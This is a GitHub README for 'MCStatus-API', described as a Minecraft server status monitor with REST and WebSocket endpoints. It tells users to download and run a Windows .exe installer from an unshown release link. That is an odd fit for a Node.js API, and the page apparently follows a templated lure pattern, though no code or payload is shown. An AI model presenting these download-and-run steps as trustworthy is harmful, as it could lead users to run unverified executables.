Skip to content

Latest commit

 

History

5 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

🌐 MCStatus-API - Monitor your Minecraft server status easily

Download MCStatus-API

MCStatus-API gives you live data about Minecraft Java Edition servers. You see player counts, server latency, current message of the day, and server icons in real time. This tool helps server owners track performance through REST endpoints and WebSocket streaming.

📥 How to download the app

You need the latest version of the software to start. Follow this link to the main release page where you find the installation files for Windows.

Click here to visit the download page

💻 System requirements

Your computer needs to meet these basic standards to run the software smoothly:

  • Windows 10 or Windows 11
  • At least 4 gigabytes of RAM
  • An active internet connection
  • The latest version of Node.js installed on your system

⚙️ Setting up the software

  1. Visit the download page linked above.
  2. Select the file ending in .exe for Windows.
  3. Save the installer to your Downloads folder.
  4. Double-click the file to start the setup process.
  5. Follow the prompts on the screen to finish the installation.
  6. Open the application from your Start menu once the setup completes.

🚀 Connecting your server

The application stays inactive until you add your server information. Open the dashboard to start the configuration.

  1. Locate the Add Server button on the main screen.
  2. Type your Minecraft server address into the box.
  3. Choose a descriptive name for your server profile.
  4. Press Save to store the settings.
  5. The dashboard now shows real-time stats including player counts and server latency.

📡 Using the streaming features

The app uses WebSockets to update data without manual refreshes. When you watch a server, the display changes as soon as a player joins or leaves. You see the ping speed change as the network fluctuates. The software handles SRV DNS records automatically, so you keep track of servers even if they use complex address formats.

🔑 Managing API keys

You can create keys to access data for your own projects. Navigate to the API Key menu to generate a new key for your account. Copy this string and keep it in a secure location. You use this key to authenticate requests if you build a website or a Discord bot that uses this data.

🛠 Troubleshooting common issues

If the software fails to show data, check these common points:

  • Confirm your server is online and reachable from your browser.
  • Verify your firewall settings allow the application to communicate with the internet.
  • Ensure your Node.js installation is up to date by running the installer again if needed.
  • Check the error log in the application settings if the status indicator remains red.

📖 Frequently asked questions

Does this tool cost money? The Basic plan provides free access for a set time. You do not need to enter payment details to start monitoring your servers.

Can I monitor multiple servers? Yes, the software supports multiple server profiles. Add as many addresses as you need to the dashboard.

What happens if my server changes its IP address? The app detects the change if you use a domain name. If you use a direct IP address, you must update the entry in the dashboard manually.

Does the software record logs? The tool keeps a local log of status changes. You access these logs in the configuration folder to track uptime trends.

Keywords: api, developer-tools, minecraft, minecraft-api, minecraft-ping, minecraft-server, minecraft-status, nodejs, rest-api, server-status, status-api, websocket, websocket-api

About

Monitor Minecraft Java Edition servers through a reliable REST API and WebSocket streams for real-time player counts, status updates, and favicon retrieval.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors